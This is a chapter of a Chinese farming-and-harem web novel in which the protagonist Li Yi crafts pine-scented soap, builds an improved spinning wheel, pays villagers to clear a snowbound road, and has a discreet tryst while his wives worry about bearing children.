李逸挥了挥手,二郎带着两只野狼离去,赤狐也跟着一同离开。
“夫君啊,你现在就是这里的山大王了,狼群什么的都听你的!太厉害了!”
白雪儿一脸崇拜,陈玉竹跟着点头。
“是呀,夫君现在都不用亲自打猎了。”
李逸在欣喜之余也有些惆怅啊,之前山里的都是他的猎物,现在关系都混熟了那他就不好下手了,总不能杀熟吧。
“走吧,和夫君去摘松针”
五人去了松树林,摘了一些树上绿油油的松针,来的时候空手而来,回去的时候秦心月提着一个被塞满的麻袋,李逸拖着一头野鹿,收获满满。
鹿肉的营养价值极高,鹿角和鹿骨头都有药用价值,之前李逸缺钱缺粮,只想快些做原始积累,所以老虎肉和打到的其它猎物基本全都卖了,现在他已经有了足够的积累,好的猎物他可以留下给家里人补身体。
自幼习武的秦心月气血充足,陈玉竹因为家里有药铺日子也过得不错,相比之下白雪儿和于巧倩在大牢里的几个月,将身体亏空得很厉害,张绣娘的身子也不是多好。
病来如山倒,病去如抽丝。
人的身体亏空起来很快,但想要补回来可不是短时间就能做到的,要长期调理才能恢复。
把带回来的松针清洗干净,沥干水分后,将松针切碎成小段,他没有用制作豆油的复杂工序,也没有使用蒸馏法将松针制作成精油,而是选择了一个更直接省力的办法,直接捣碎出汁水用纱布过滤干净后备用。
之前用来制作肥皂的模具太过随意,产量本就低,他还制作成那么大块,既然他和王金石都想往高端方向发展,成为奢侈用品,肥宅块自然不能太大,应该制作成更精致的小块。
形状改成圆形,体积只有之前的一半,不再刻字而是尝试着雕刻点简单的花纹,例如花朵,鱼,鸟这些都可以。
反正大雪封路无处可去,李逸有大把的时间慢慢做。
只是制作磨具就耗费了他两日的时间,每个磨具都是独立的一个,体积尽可能控制到相差不多。
全部准备妥当,李逸开始第一次做香皂。
如他预想的一样,松针的味道混合加入后,完美地遮掩了油腥味,让整块香皂散发着松树的清香,且香皂块制作出来的颜色是浅绿色,更有那种玉石温润的质感,看着就觉贵气。
鞣制毛皮之余,李逸还开始着手制作纺车和织机,他所制作的是单人能操作的木工极限版,想在这个基础上提升,就是多人操作的织机和纺车,然后便是动力的改革,这距离他太过遥远先不做考虑,只做好眼下这一步。
李逸家的粟米全都被脱完谷壳,积雪太厚骡车没办法去乡里将这些粟米卖掉,一时间村里的村民们都闲了下来,只有何铁牛每天忙着帮李逸伐木砍柴。
雪下到一尺以上的厚度,等着雪自然化掉需要经过漫长的等待,李逸等得起,其它的村民却是有些坐不住了,见他们这样,稍一思索李逸只能给他们找点事做。
铲雪!
从这到乡里有几十里的路程,村里只是寡妇就有二十几个,还有些半大孩子和老人,天天清理七到十天足够清理完去乡里的这条路,道路恢复能赶车,大家就能继续给粟米脱壳赚钱。
李逸
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不让这些人白出力,一天给一大碗精米,家里人少的,这一碗一天都吃不完,只要不坐吃山空每天都有进向,大家的心里也都踏实。
李逸给他们制造了些实用的铲雪工具,之后就不予理会,任由他们去清理这一路上的积雪。
铲雪一天不过是一碗脱壳的粟米,但若是路通了将脱好的粟米全都卖掉,再买回来粗米,每天给粟米脱壳能得到最少五斤粟米,干上一个月,整个冬天都不会为吃得发愁。
专心制作纺车和织机的李逸,感觉还没过几天,就听到何铁牛说去乡里的路全部清理干净,骡车可以通行了,李逸惊讶于大家高涨的热情。
在日子没有盼头时,大家只能硬挨,就看谁能撑下去。
可当日子有盼头,知道自己干一天能有多少收获,身体里就像是有使不完的力气,当初何铁牛冻得手脚发青还在山林中找药草就是因为这个原因。
等何铁牛将脱好的粟米都送到乡里,又拉回来未脱壳的粗米后,大荒村又开始了咚咚咚的冬日节奏。
“夫君,你这制作是什么?”
白雪儿看着李逸制作出的纺车有些好奇。
张绣娘眨了眨眼不确定地说道:
“瞅着像纺车,但又不像,以前娘娘村有不少农户做纺线的,我娘就会,现在应该是没有几户人做着纺线的活计了。”
李逸看过来,给予肯定的眼神:“绣娘猜对了,这就是我改造的新式纺车,用我这纺车制作的纺线更细更耐用,一天纺出的线顶用老式纺车三天”
张绣娘听闻脸色一变,看向李逸的眼神满是崇拜还有爱慕:
“哎哟....你现在这本事可是不得了啊,这都能让你弄出来!”
李逸得意地扬起下巴:“以后咱们要织布卖,等弄好了,我手把手教你,你学会之后可以教村里的其它人。”
“嗯.....成,我都听你的。”
张绣娘左右瞧了瞧,见白雪儿离开,然后红着脸小声说道:
“豆子和大丫在你这呢,你....你和我回家看看,我这腰有点不舒服.....”
李逸眼神暧昧,瞬间领悟了张绣娘的意思。
地荒着时也就荒着了,但在开荒了之后,那就没有不种的道理了,时不时地就需要松松土。
二人前后脚离开没多久,白雪儿虎着小脸就凑到于巧倩身旁小声说:
“倩儿姐,夫君和绣娘嫂嫂,鬼鬼祟祟的出去了!”
于巧倩娇嗔地瞪了白雪儿一眼:“雪儿,你知道就好了,不要说出来,村里这种和兄嫂,弟妹过日子的事很常有的,另外我觉得绣娘嫂嫂人挺好的,心灵手巧长得还漂亮,最重要是夫君也喜欢她。”
白雪儿不满地噘着嘴,小声嘀咕:“这些我都知道啊,绣娘嫂嫂人确实很不错,可...我这.....我这不是怕嘛,我们的肚子还没动静,让嫂嫂先有孕了,那算什么呀?”
于巧倩和陈玉竹,秦心月她们都觉得子嗣来也讲究个时机,该来的时候自然就来了。
只有白雪儿,一天到晚急得和什么是的,连那难喝的汤药都忍着苦喝了好几日。
“倩儿姐,你想啊,嫂嫂她有两个孩子,这说明她是好生养的那种女人啊,夫君若是去得勤了,她肯定是要有孕的,之后夫君万一嫌弃我们怎么办?”
“我那天听刘嫂她们干活时说,以前村子里就有那种不生养的女人,最后被夫家给休了,一个人孤独终老,很可怜的.....”
白雪儿越说越害怕,仿佛是看到了自己未来的下场。
于巧倩哭笑不得:“雪儿,你太在意这事情了,咱们夫君可是比一般人都有想法,开明得很!就算你一辈子不生养,他也不会不要你的。”
白雪儿听于巧倩这么说,急得眼泪都要出来了,连忙伸手去捂于巧倩的嘴。
“哎呀!倩儿姐你说什么呢!你快呸呸呸!刚才说的不做数,你要说雪儿以后能生三个...不!能生五个儿子!快说呀!”
于巧倩轻拍了下自己的嘴:“呸呸呸,刚才说的不作数!雪儿定能给夫君生五个儿子!三个女儿!”